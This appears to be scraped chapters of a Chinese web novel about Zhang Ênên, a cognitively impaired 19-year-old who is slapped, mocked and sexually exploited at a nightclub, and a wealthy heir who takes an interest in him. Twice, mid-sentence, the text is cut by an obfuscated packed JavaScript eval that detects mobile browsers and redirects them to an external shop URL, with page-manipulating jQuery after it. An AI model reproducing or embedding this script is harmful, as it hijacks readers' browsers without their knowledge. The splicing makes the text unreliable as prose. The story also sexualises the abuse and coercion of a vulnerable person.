铂金华庭里他有属于自己的小房间,不和别人挤在一间宿舍。但也如字面意义,是一间很小的房间,甚至只有一张矮矮的金属床架,窄窄的窗户通向别的的过道,并不透光。 昏暗,狭窄,令人窒息的密不透风,像圈养的笼子。 张嗯嗯是适应这样的环境的,可他依然在如此逼仄的环境里尝到了莫大的空虚。 他不再是空心瓷器,或是棉花娃娃那样的空落落的空虚,那样的空虚他早就习惯了,这一次他更觉得自己像一粒蛀牙。 蛀牙外白得像新做的假牙,看着与平时无异,可只有他自己知道,这一粒牙齿从里面坏了,被蛀空了,从根部向外泛起一阵蚀骨的酸意。 他的腮帮子胀胀的,他的两只手急迫地捂住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486636|202047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两颊,脑袋埋进深黑的手掌心里,深呼吸一口气—— 眼泪就顺着指缝淌了出来。 张嗯嗯哪里清楚自己是为什么在哭,就连赵经理走进来,见了他,耳光逼到他脸上,他也不明白自己怎么就掉眼泪了。 他想,也许是因为昨天一直没有哭,欠了自己好大一笔眼泪债,今天该还债了。 张嗯嗯捧着自己的脸,他的手掌湿漉漉的,也异常沉重,他从来没觉得自己的脑袋这么沉重过,他几乎要捧不住自己的脸,总想找个谁来托着、捧着他。 赵经理的两个手掌“啪”得一下,故意拍在张嗯嗯面前。 张嗯嗯被吓得浑身一震,眼泪果然不流了,取而代之的是魂飞魄散的幽深恐惧,支撑他身体的两根细瘦手臂“咔嚓”一声断掉,上半身摔进被子里,像死了一样长久的安静。 张嗯嗯又被吓坏了。 赵经理把手里的衣服搭在床尾,他绕到张嗯嗯身边,抓着胳膊拎起来晃了两下,明知张嗯嗯这会精神状态不好,却还要强行提到床边坐下,手指往耳朵暗示性的轻捏两下,训道:“坐直了,别逼我扇你。” 张嗯嗯的两只手怏怏地垂下来,他的脑袋、他的眉眼还有他的肩膀,他浑身的所有都在往下耷拉,眼泪也在。 “被沈家那位看上了,就以为我不敢打你了?”赵经理一边训斥,一边往张嗯嗯身上套衣服,手法干脆利落,张嗯嗯在赵经理手里,倒真像个没骨头也没支架的棉花娃娃。 “昨天跟你说的不许哭,今天就忘了,记性怎么越来越差?前阵子明明还能记得住三五天的事情,现在怎么一天都记不住?” 赵经理的不饶人的使劲叨着,他像个大公鸡,声音拔得很高,仿佛他势要把平时在老总们那里受得气,全撒在张嗯嗯身上。 张嗯嗯不动,只静坐着,任由别人摆弄自己。 他被套上一件贴身的纯白衬衫,又添了一件浅灰色针织开衫,开衫的袖子长了一节,手藏在袖口里,只露出最后一节粉粉的指尖。 赵经理从口袋里拿出一条灰色和藏蓝色相间的斜条纹领带,绕着张嗯嗯脖子一圈,熟练的系上领结,仍不忘碎碎念:“你要不是长得漂亮,早笨死了。” “嗯嗯。” “嗯你个头。” 赵经理的巴掌作势又要往张嗯嗯身上打,张嗯嗯的脸色一瞬白得没血色,仿佛连红色的眼瞳都一并褪色成了浅灰,眼球凄惨的乱转,像汽车失控的轮胎,横冲直撞。 张嗯嗯捏着袖口捂在眼睛上,很快泪水就浸湿了袖口,浅灰变成深灰。 “别哭了,一直哭一直哭,哭得烦死了,你哭丧呢?我告诉你,你是命好遇到沈先生了,沈先生他人好,要是换了黄少爷,他不得拿烟灰缸打你?打得你不敢哭,打死你!” 赵经理的手比了个圆,假装那是烟灰缸,一个比张嗯嗯脸还大的烟灰缸。 张嗯嗯害怕的眼神只从袖口处露出半边,两只手试图把自己流泪的眼睛藏起来,他咬着嘴巴,把淡淡的唇色咬得鲜红,咬出一圈齿痕。 赵经理捏住张嗯嗯的下巴,把他往床上猛地一推,声音用力喝出来:“给你五分钟,收拾眼泪。” 砰——! 房门关上,连空气里的灰尘都在为之颤抖。 张嗯嗯捂着脸,他觉得他牙疼。 牙齿被蛀空了,风平浪静的时候只有些隐隐的酸,如今被房门震起的冷风吹过,一排排牙齿刺出一叠、一叠的痛,牙根处仿佛有千万只酸蚁在咬他的肉。 12. 第 12 章 嗡—— 厚重的窗帘准时自动拉开,清晨的光毫无预兆地撞进房间里,整间卧室瞬间浸在冷白的日光里。 卧室大得过分,几乎能听见呼吸的回音。 沈主镰从宽大的床上支起身,指尖下意识往身侧捞了一下,只触到一片冰冷。 被褥平静,没有余温,没有褶皱,这里从来没有人与他在这张床上共眠过。 沈主镰的视线低落在空落落的掌心,喉结轻滚一下。 他忘了张嗯嗯昨天就离开了。 他把这只手按在眉心处,重重的揉了一圈。 又抓着枕头检查了一番,确认没有哪个秃头男人照片在他床上躺了一晚上,这才疲惫的吐出一口气,随意抓了一把头发,从喉咙里咳出几声荒诞的笑。 张嗯嗯总是这样,讲也不讲,想走就走,走得干净利落,好像他们这几天的相处完全不作数似的。 沈主镰坐起身,挪到床边,捞起衬衫伸出胳膊穿上,左手钮扣子,右手拿手机。 “昨天让你找的张嗯嗯呢?有踪迹了吗?是我把人带走的,他不能在我这走丢,我得给铂金华庭交代。” 聂航瞅了眼时间,现在是早上六点半,距离聂航合同上的工作时间还有半个小时,他用着下班才会有的吐槽口吻,幽幽地念:“想就说想,倒也不必这样拐弯抹角的问。” 沈主镰沉默了一会,但也只是一会:“……好。” 聂航嘿嘿笑了,吸溜了一口热腾腾的面条,含糊道:“他没事,被人接回铂金华庭了。” 沈主镰松了一口气,僵硬的臂膀肌肉终于有喘息的空挡,他侧头夹着手机,左手搭在右手肩膀上揉了一把,换了话题:“你在吃什么?” 聂航嘴里的东西还没嚼完,随口答:“面啊。” 沈主镰说:“带一份,七点钟楼下见。” 沈主镰没有着急去找张嗯嗯,只托人去和铂金华庭的高层打点了一番。没有沈主镰这层关系在,张嗯嗯是不可能睡一整天的。 赵经理满口谎言,他唯一说过的真话,是误打误撞的那句——只有你会心疼他。 沈主镰一直工作到夜里八点,把前几天耽搁的工作尽可能的处理了一遍,但依旧还有堆成小山高的工作流。 沈家在W市的主营业务是投资,这一行基本是要二十四小时泡在工作上,稍走神浪费丁点时间,机会也好,价格也罢,都会转瞬即逝。 投机取巧的事情,是不可能会等人的。 可是——八点钟了,铂金华庭开门营业了。 这句话,绕在沈主镰的头顶。 沈主镰没有思考,他起身,拿了外套,走出办公室,说:“下班。” 聂航从电脑屏幕后探出头。 “聂航,开车。” “去哪?” 沈主镰下了电梯坐上车,下意识去看腕上的手表,才想起来他的手表戴在张嗯嗯的手腕上。 他随口道:“我的手表给了张嗯嗯,我要去拿回来的,手表太贵我舍不得。” 聂航戚戚偷笑,余光瞥见沈主镰投来沉重的注视,立刻收起笑脸,转头从他的袋子里拿出一盒贵州特产绵绵糕,把礼盒递给沈主镰,用年轻人独有的方式赔礼:“沈总,这个您吃吗?我觉得挺好吃的,不是很甜,口感糯糯的。” 沈主镰从没收过这样廉价的礼物,可转念一想,张嗯嗯吃过吗? 沈主镰问:“巧克力还有吗?” 聂航眼睛向上瞟,思考了一番后在包里迅速翻找,历经千辛万苦终于翻出了一条白巧克力:“就剩一条了。” 沈主镰把绵绵糕和白巧克力一起收下,巧克力放在口袋里,绵绵糕则放在车上,他说:“去备一箱。” 嗡——! 沈主镰的电话不合时宜的响起。 手机听筒里,沈主镰母亲细细的南方嗓音尖尖的喊出来:“我可听说了,你到那三天,三天都在夜总会里泡着玩女人!” 沈主镰面不改色地否认:“妈,我没有,没有玩女人。” 妈妈不信,沈主镰嘴皮子一碰,继续否认:“我真没有,我发誓。” 妈妈将信将疑,但语气已经没有最开始那么尖锐,取而代之的是语重心长的劝诫: “你不要在外面东搞西搞哦,洁身自好最重要,不要总想着这些低俗的东西!你现在最重要是发展,你要在公司里搞出一番事业哒,树立威望,培养自己的核心,到时候再转回总公司,你直接继任你爸爸的位置,你得有让人心服口服的能力呀,我和你爸爸放你出去是锻炼你,不是让你在外面搞这些不三不四的东西哒。” 沈主镰妈妈的声音是很典型的南方女人的声音,卷翘不分,说话尾调总爱带着几句弯弯绕的语气词,声音也是软软的,柔柔的,像是在唱歌似的。 “嗯,我知道。” 沈主镰靠着窗户,看向窗外的夜景。 写有【铂金华庭】四个字的招牌已经出现在天际线,伴随车轮滚滚的声音,招牌越来越大,越来越鲜艳,灯光也随之愈发明艳起来,半边天空已经被染成彻底的粉紫色。 “总之,那种乱糟糟的地方你不许再去了。” 妈妈的声音很用力,可她的嗓子只说得出甜甜的关心。 沈主镰答应的很快,他说起保证来,声音就像写在纸上的忏悔书,字字清晰:“是,我不会再去了,我保证。” 此时,铂金华庭那巨大无比的灯牌已经冲破了车窗的限制,取景器里只装得下一部分霓虹灯,还有一部分遮天蔽日横在天上,璀璨夺目。 “有你的保证妈妈就放心了。” 嘟——电话挂断。 车停在铂金华庭的正门,一瞬间门外的侍者们齐刷刷投来恭敬的注目,好几个人簇拥上前为沈主镰开辟一条通往铂金华庭门内的康庄大道。 今天晚上落了濛濛细雨,雨点小到可以忽略,空气里就像是镶满一粒粒施华洛世奇水晶般的星星点点。 雨点滴在沈主镰的皮鞋上,倒影出光亮的人影闪烁,很快一把深黑的伞打在车门边。 “沈先生,请。” 暧昧的粉紫色灯光从穹顶漫下来,把整个屋子揉成一团软乎乎的胸脯肉。 舞池里人影晃动,男男女女贴得很近,角落里的光线更暗,呼吸交缠,眼神在光影里勾来勾去,不说一句话,指尖的触碰带着火热的试探。 铂金华庭的化妆间亮堂堂的,而且热闹非凡,男模和女模们挤作一团,在一个房间里对着镜子来回梳妆,左右左右转身转头,确保自己和昨天晚上一样好看漂亮。 一批批的人出去了,又有一批批的人回来,嘴里或骂或笑的,翘着二郎腿坐在休息室里,把外边的客人们从头到脚点评一番,不是说这个抠搜就是那那个手贱,偶尔有几个能抱着一沓钱回来,笑嘻嘻的炫耀。 大家都很忙,上到这些模子,下到营销,都像是林间穿梭的鸟,扇着翅膀一闪而过,又会因为某事闪回,很快又匆匆飞走。 大家都很忙。 偏偏这群忙碌的人群里有两个雷打不动的人,坐在角落里,一声不吭。 是张嗯嗯和他的朋友阿金,阿金是个很符合大众刻板印象的gay,精致的有些女气。 阿金端着一碗蒸蛋拌饭,舀了一勺送到张嗯嗯嘴边。阿金说:“张嘴。” 张嗯嗯仰头张嘴,含住勺子,在牙齿上磕出一声当啷。 在一边休息的人看了,指着张嗯嗯。笑得粉底挤出干纹:“张嗯嗯这么听话,床上是不是一次性塞十个都乖乖照做?” 这样羞辱人的恶俗话,很快就成了休息室无聊谈话里最有趣的一环,他们总是会把刻薄当成幽默,作为小团体的入场卷,又因为嫉妒、厌恶张嗯嗯这愚蠢的美貌。 他们冲着张嗯嗯的方向直言:“怪不得招人喜欢,原来是做飞机.杯去了。”又是一阵哄堂大笑。 “也不知道那小表子什么时候会被有钱人玩死……” “听说他一身的毛病,我看活过二十就算喜丧。” 张嗯嗯今年十九岁,他只知道自己叫张嗯嗯,傻子、表子、飞.机杯这些人都不是他。 所以他不急不慢的嚼着,因为听不懂,所以没有任何反应。 喂饭的阿金把勺子敲在碗边,一转头瞪着说话声音最大的那个人,扯着嗓子瞪眼警告:“别欺负他!做你们的事情去!” 被瞪的那几人人非但不怕,眼睛一转,哧哧讥笑。 张嗯嗯把饭咕咚咽下去,他扯了扯阿金的袖子,张开嘴,“啊”了一下。 笑话的声音更大了。 阿金把碗塞进张嗯嗯的手里,扯着张嗯嗯的胳膊把人往自己背后推,自己则站在前面,指着面前这群人,横眉竖眼,叉腰咬牙,震声放出狠话: “笑什么?!你们想打架?我把你们的肋骨鼻和硅胶胸全打炸了信不信?我纯原生我不怕!” 笑话声小了下去,散了一批怕事的人。 但还是有一群无聊的人,反过来质问阿金:“我骂他小表子,关你什么事?” 张嗯嗯呆呆的注视着手里的碗,他举起双手,又踮脚,把碗高高捧起,碰了碰阿金气红的脸蛋。 阿金低头看过去。 张嗯嗯傻的让人可笑,他竟然还能置身事外的发出“啊——”的一声。 阿金更生气了,张嗯嗯本来就够可怜了,还要被这群垃圾人当成垃圾桶发泄情绪。 阿金扬起巴掌,冲面前纠缠的人群打过去,一边冲他们打一边破口大骂:“他妈的,张嗯嗯听不懂你们说话,你们乱骂当然没事,可是老子听得懂啊,老子就不乐意脏耳朵!” 场面顿时乱作一团,挨打的几个人像漏气的气球,发出尖锐的漏气声,抱头鼠窜,窜的整个房间都乌烟瘴气。 很快负责人闻声赶过来,问就是大家闹着玩,再问就是阿金先动手的。 阿金一个人讲不过那几个人,又没人在乎张嗯嗯的感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486637|202047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受,于是吃了个罚单,一罚就是八百块。 阿金气不过,带着张嗯嗯转移阵地,寻了个清静地方。 二楼是包厢,能在二楼消费的客人们一般要到十一二点才会过来,所以两个人在二楼的楼梯边上坐着。 阿金时刻注意楼梯的动静,只要有人来,他就会带着张嗯嗯躲起来。 “阿金!阿金呢?”楼下喊他名字的声音越来越着急。 “在这!”阿金冲底下回道。 营销扯起阿金胳膊,把他往下推,急促地催到:“有客人指了你名,赶紧去吧,别让人等久了。” 阿金回头担心看着张嗯嗯,营销却挡在那里 。 阿金绕过营销,营销却执意带他下楼:“你少管那张嗯嗯,赵经理不会让他死在这里的,你有时间在他身上浪费,倒不如浪费在客人身上,多搞点钱最重要。” “等会!”阿金推开营销,快步回到张嗯嗯身边。 他左手抓张嗯嗯的右手,右手抓张嗯嗯的左手,带着张嗯嗯的双手,一手拿碗,一手拿勺子,手把手示范了一遍吃饭的动作。 “张嗯嗯,你学会了吗?”阿金问。 张嗯嗯没反应,当阿金松手那一刻,勺子和碗一起从他手掌里摔出来,幸好被阿金及时接住。 “张嗯嗯,你笨死了,教你多少次怎么就是不记事。”阿金一边唠叨,一边又手忙脚乱的往张嗯嗯嘴里塞了好几口饭。 张嗯嗯把多出来几口饭全都吐了,他一次只吃一小口,在嘴里慢悠悠的嚼。 阿金叹气,恨铁不成钢的骂他:“笨蛋!笨蛋呀!” 张嗯嗯歪头,他从口袋里拿出一枚白巧克力,放进阿金的手里,像是在说:你也吃。 阿金更无奈了,他收回刚才的刻薄话,提醒道:“你躲起来,别让人欺负了。” 阿金走了,只剩张嗯嗯一个人,他挡在楼梯口,眼神茫然的向四周看。 白头发,白皮肤和红眼睛,还有纯洁无辜的神情,他与这里格格不入。 很快,他就尝到挡路的苦头。 “张嗯嗯!到处找你!” 对方的声音斥过来,还没挨着他,光是声音就把张嗯嗯吓成了被砍断的树,直挺挺地呆呆坐在地上,碗也好,勺子也好,都飞掉了,他的魂也飞掉了。 细瘦的胳膊顶在地面上,艰难将自己上半身支起,因为害怕的缘故,眼球无法控制的乱颤,他看不清楚东西,面前是一团斑斓的色晕,和乌压压一片闪动的人影,每一个人都像是要打他似的来势汹汹。 张嗯嗯慢悠悠地坐起来,他快不了,浑身骨头都在惊吓里直打颤,他腾出一只手,用袖子捂住眼睛,又陷入了呆滞。 他害怕,害怕极了。 “您请。” 从楼下浩浩荡荡走上来一群人,西装革履,空气里是皮革、烟草、香水的多重气味,说笑声低沉且有力,话题的中心聚焦在人群中央的男人。 那是个高大且年轻的男人,他的脸凌厉的很,淡色薄唇尖利眉眼,眼下多出来的一点眼白,像地上多出来的一线坑,叫人走也好,看也罢,都战战兢兢,生恐自己栽进去。 那个男人,倒是一脸心不在焉的敷衍周围的男人。 台阶踩出吭吭的闷响,二楼的灯光缓缓打亮,一楼舞池的镭射光旋转一圈,掠过二楼的围栏处,刻下几道刺目的光斑。 声音戛然而止,一群人瞧着楼梯中间挡着的那团白花花的人肉团子,还有不锈钢碗,和打翻的蒸蛋拌饭。 这场景可太熟悉了,像是故意安排似的巧合。 “你怎么回事?你怎么每次都在这挡路?” 张嗯嗯的背弓成了虾子,一节嫩白的颈子从衣领后漏出来,细细窄窄的,似乎一只手就抓的过来。他像一个纯白花瓶,瓶颈就是他的脖颈,穿行皮肤下的青紫色还有红色的血管是他独有的彩绘。 他苍白的表情半遮在袖子下,只露出一对非人感十足的红眼睛,像是一块红玻璃,泪花切出裂缝,很是脆弱。 倒真像在勾引人一把掐住他的脖子,把他收进兜里面。 “张嗯嗯,抬头。” …… 人群突兀的静了下去,所有人都在观察着中心男人的一举一动。 张嗯嗯听见有人命令他,于是他听话,缓缓抬起不聪明的、装满了水的脑袋。 张嗯嗯在看到那个人的时候,起先并没有立马平静下来,他仍用着陌生、茫然的眼神观望男人。 他并不认识这个人,毫无记忆,只是潜意识里觉得这人对自己没有恶意。 在眼神对视半分钟后,张嗯嗯才像一台好不容易对上卫星信号的老电视机,迟钝的有了动作。 张嗯嗯捡起地上的碗,他的胆子刚好有碗这么大,他捧着刚刚好的勇气,刚刚好的碗,冲面前高大的男人伸长手臂递过去, 仰起头,抬起脸,眼巴巴。 他的眼睛,在理所当然的使唤人:“喂我” 13. 第 13 章 一旁引路的侍者脸上露出难堪,他觉得张嗯嗯太笨了,怎么能挡着贵客的路呢?让大家都难堪,让他觉得自己也被别人嘲笑了。 侍者对着张嗯嗯做出驱赶手势,示意他赶紧让开。 张嗯嗯依旧直白望着,五官凝得使劲,两只胳膊抻得又直又用力,倒真像是在献宝。 仿佛这偌大的铂金华庭,张嗯嗯只认准了面前这个高大男人,旁人说什么、骂什么、笑什么,都和他与他没有任何关系。 张嗯嗯的世界,好像只有他了。 沈主镰走上前,把张嗯嗯抱了起来,他没有理由拒绝张嗯嗯。 那些恶意的凝视瞬间消弭的荡然无存,精明的眼神射向别处,心里盘算着什么。 当啷一声,张嗯嗯拿不住碗,从手里摔下来,磕在地上,嗑瘪了半边碗沿。 张嗯嗯被他自己创造的当啷声,吓了一个哆嗦,他紧紧地攥住沈主镰的衣领,闭着眼睛往人怀里钻。可是沈主镰是男的,他的身板平且硬,没有妈妈一样的柔软胸脯供给张嗯嗯埋头躲藏。 因为暴露在巨大声响和密集凝视里,张嗯嗯表现出过分紧张,脸上五官奋力拧在一起,眼睛、鼻子、嘴巴冲一条中线挤过去,眼睛和鼻子凑成一个Y,嘴巴努成一个小点,像一只老鼠。 张嗯嗯的左右胳膊勾住沈主镰的脖子,两条腿也死死缠着人家,把人当救命稻草,贪婪的抱紧吮吸。 沈主镰左手托着张嗯嗯的臀部,右手捂在张嗯嗯的后脑勺上,自上而下的沿着脊椎骨那一条中线轻轻抚摸。 沈主镰绕过地上的剩饭,往前走。 其他人依次跟上,侍者冲人使眼色,使唤人赶紧把这里打扫干净。 只能听见手掌擦过衣服布料,缓缓抹出来的索索声,还有那低低的怯声呜咽。 无一人敢说话,都在齐刷刷打量、窥探太子爷对“情人”口味之特殊。 沈主镰的步子没走两步,他停住,冲后边的人群使唤一句:“把碗捡起来。” 声音是在张嗯嗯耳朵边上呼出来的,低沉的,平稳的,像一条笔直的线缓缓从耳朵边移过去,刚好盖住张嗯嗯耳朵里骇人的嗡鸣声。 他抬头,懵懂的望着抱着自己的男人。 他想的是——你是谁?我不认识你,会打我吗?会懆我吗? 张嗯嗯的脸庞浮不出情绪,只板着粉红色的呆呆脸,把自己当成一颗被蛀空的牙齿,一动不动,又阵阵发痛。 张嗯嗯捂住脸。 “嗯嗯……嗯嗯……” 下流的声音很快就从张嗯嗯的手指缝里黏糊糊流出来。 不锈钢的碗送到沈主镰面前,碗里已经没剩多少米粒,他垂眸扫了一眼,把人安排下去:“重新弄份新的,碗就不用换了,怕他换了新碗就不认识不肯吃了。” “好的。” 沈主镰走进包厢,入了座,张嗯嗯坐在他的腿上,他比房间里所有人还要熟悉陪酒陪客的流程。 不等沈主镰有行动,张嗯嗯就抢先两条腿岔开跨坐,双臂环抱沈主镰的脖子,脸颊贴着耳朵,上半身黏答答的粘在沈主镰的胸口,他的下半身有沈主镰的手稳稳托着坐好,可他的身体依旧在不安分的缓动,现出一副被沈主镰那只手给欺负坏了的模样。 张嗯嗯的表情在旖旎的灯光下,也被搅和成了一团粉紫色的下流模样,他的口水和他的声音一起发生在沈主镰的耳边。 张嗯嗯的表现比之前任何时候都要更卖力。 因为铂金华庭的客人们喜欢张嗯嗯这个样子,喜欢用巴掌把张嗯嗯的眼泪逼回去,再去看爱哭的张嗯嗯是如何呆傻成娃娃,清纯却又下流的伺候人。虽然不聪明,但张嗯嗯是一个非常完美的“情.趣娃娃”,就连不聪明都成了他的魅力。 无数的目光借着昏暗灯光钉在张嗯嗯身上,香醇的酒精流入喉头,像品酒一样,细细的品味眼前的活春宫,不免感慨:“沈先生好眼光。” 沈主镰按不住张嗯嗯,他只能轻轻的抚摸张嗯嗯的头发,把面前怏怏耷拉的白头发一缕缕的顺好,把脸颊上的碎发一一挽到耳后。 他爱抚,也安抚:“张嗯嗯,我不打你。” 听到男人的保证,张嗯嗯用余光去打量男人,将信将疑地把嗓子里剩下的声音咽下去。 他安静了几秒钟。 男人的巴掌递过来,大大的手,停在张嗯嗯小小的脸蛋前。 令张嗯嗯自己都诧异的是,他竟然第一反应并不是躲闪。 张嗯嗯下意识把自己的脸蛋垫上去,把自己进了水的沉重脑袋全都搭在男人手上,他尝到了久违的轻松,绷紧的细长脖颈吐出了一股如释重负的气。 张嗯嗯侧着脸,用着和脸颊一样红扑扑的眼睛,单纯的去注视男人。 “嗯嗯,为什么要离开?”沈主镰也跟着歪起脑袋,试图和小小一粒的张嗯嗯平视。 张嗯嗯转头,把脸蛋埋进掌心里,眯着眼睛呼出热腾腾的气,并不回应沈主镰的问题。 “先生,您要的蒸蛋拌饭上好了。” 服务员乘着托盘将不锈钢碗放在桌上,手掌推着碗底缓缓送至沈主镰跟前。 张嗯嗯听到了关键词,他脑袋灵活一转,眼睛一眨不眨地盯着自己的碗。 他的脑袋从别人的手掌心里滑落,重重点了一下,但管不了那么多,两手并用扒拉着,着急把自己的碗抢回手里捧着。 沈主镰的手臂被什么东西撞了一下,他看过去,是张嗯嗯用碗在敲他手臂。 再看第二眼,张嗯嗯张嘴了,撑得嘴唇上的纹路都不见踪影。 沈主镰主动侧身歪头低下去了,“啊——”的拉长的一口气,刚刚好亲在沈主镰的耳朵上。 沈主镰的嘴唇抿了得逞的笑。 包厢里的灯光是昏黄的颜色,诸多复杂的气味混在一起,烟味、酒味还有香水味,以及风俗地特有的脂粉味,一起碾碎在手中的水晶杯里。 一个男人端着酒杯送到沈主镰面前,肚子顶得西装紧绷,脸上堆着刻意放低的讨好:“沈大少爷,久仰大名,今日一见果真是人中龙,今日能跟您坐一桌,是我周某的福气。” 说着,仰头一饮而尽,杯口朝下亮了亮,像马戏团的杂耍,等着客人为他的滑稽表演哈哈笑。 沈主镰右手搂着张嗯嗯,左手端着饭碗,没搭理这个人。 勺子贴着碗沿擦了一下,沈主镰用哄小孩的语气,轻声念了一句:“嗯嗯,张嘴。” 沈主镰怀里那团白白的软肉便发出“miamiamia”的嚼东西声。 “沈少爷,您知道的,国家目前看好人工智能板块,W市目前还没有关于这一块完整的工业园区。”旁边的一个老板跟了话茬,他的语气放得就更软了,“城西那块地……您和我合作,规划地皮、招商引流,接下来就等着国家补贴,产业升级,坐在家里数钱就行。” “是啊是啊,我们这边怎么配合都行,全听您安排。” 有人递烟,有人赔笑:“以后您有任何吩咐,一句话的事。” 此起彼伏的奉承裹着热气涌来,沈主镰淡淡的抬了眼,漆黑的眸子里没有半点波澜,他没有碰烟,没动酒杯,只捏着勺子扫过张嗯嗯的嘴角的米粒。 张嗯嗯咬住勺子,在牙齿上磕出响声,眼珠子左看右看,谁说话他都要好奇去瞄一眼。 头发别在耳后,露出贴着创口贴的两只圆滚滚耳朵,倒真像只馋嘴的老鼠。 “您喜欢这一款的?我手里还有几个这样货色的小哥小姐。” 一个男人说着,他就毫无分寸的冲张嗯嗯上了手,他似乎对张嗯嗯很熟悉,抓着胳膊粗鲁地打量:“倒是没有比这个更漂亮的,但一个总是会玩腻的,更何况这傻子又是个不会拒绝的主,很容易就无聊,不如提前备几个新鲜的乐子。” 张嗯嗯被突如其来的触碰惊到了,脸色骤然僵住,又是一副呆呆笨笨的凝固模样。可是他没哭没闹更没有逃,而是在片刻后,低下头冲着男人的方向,主动倾身,投入那人的怀抱。 在即将坠入的时候,他开始抖,倒不是害怕的抖,而是在勾引人,他知道自己该做什么,也知道别人图他什么。 他像个被使劲晃动的筛子,从筛网里抖落出了许多的呻.吟,一阵阵的, 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张嗯嗯呆呆的注视着沈主镰,下一秒他就意识了什么,双臂紧紧搂着沈主镰的脖子,把自己的肉脸往人脸上挤。 但最初那个抓张嗯嗯的男人并没有散开,沈主镰捏着张嗯嗯的脸,扭向男人的方向,使唤道:“推开他。” 张嗯嗯乖乖伸出两只手,隔着空气对靠近他的男人,软绵绵抓了一把空气。 男人是在沈主镰的“啧”声里,逼着后退的。 这还没完,沈主镰抓着始作俑者的头发,一把扯到张嗯嗯面前,逼他朝张嗯嗯低头跪下。 沈主镰又是一句:“推开他。” 张嗯嗯的手按在男人的肩膀上,朝外依旧是软绵绵的推了一把。 张嗯嗯的余光里一直是沈主镰的脸色,只要是讨好客人的事,他什么都可以做。 男人暗地里被沈主镰一脚踢倒,后腰直突突撞在吧台桌角上,“砰——!”一声后,甚至能听见男人骨头咔哒断掉的声音。 张嗯嗯吃惊的“嗯!”了一声,难以置信的瞪着自己的一对小手,又炫耀的按在沈主镰的脸上抹了抹,嘴唇里嘟囔出一连串的:“嗯嗯,嗯嗯嗯嗯……” 由不得那男人多喘气,沈主镰垂下的手,不着痕迹地冲他招了招,像招狗似的只动了两根手指。 无形中念了两个字:“过来。” 男人忍着后腰钻心的剧痛,青紫的脸攥成一团,像奴才似的跪送到张嗯嗯面前。 男人在看沈主镰的脸色,张嗯嗯也在看。 这一次,沈主镰却没有说话。 张嗯嗯抬起手,试探性地按在那个男人的肩膀上,他的眼珠子明晃晃侧向沈主镰,纠结得咬住下唇,从鼻子里哼出催促的“嗯嗯”声。 可是沈主镰没有给他指令,等来等去,张嗯嗯只能闭上眼睛,狠了心也下决心把人往外一推。 男人再一次撞上桌角,他从喉咙里低喊出痛意。 满屋的泥泞欲望就像一张网,那么男人就是撞破织网的野猪,网破了,织网的蛛四散而逃,把真实想法隐藏在昏暗的灯光下,撇过头垂下眼,寒暄今年的生意不景气。 张嗯嗯的脑袋被人轻柔的捏了一下,夸了一句:“嗯嗯真棒。” 张嗯嗯轻轻咬住嘴角,把一个笑害羞的咬了出来。 在沈主镰的再一次招手里,男人咬牙艰难爬回张嗯嗯面前。 这一次,张嗯嗯没有再看沈主镰的眼色,他擅自把人推开,做完这件事才转过头找沈主镰要夸夸。 咬唇抿笑,昂首挺胸,脖子使劲抻着脑袋往上扬,神气的很。 “嗯嗯真棒。” “嗯嗯!” 男人龇牙咧嘴、连滚带爬的溜到角落里藏起来,沈主镰使唤了个新面孔往张嗯嗯面前凑,这一次同样是张嗯嗯主动推开,没叫任何人吃到张嗯嗯的嫩豆腐。 沈主镰满意的笑。 他重新端起碗,盛了一勺蒸蛋送到张嗯嗯的嘴边。 这次,张嗯嗯的手臂抻直了,撑在沈主镰的脸上——严肃推开!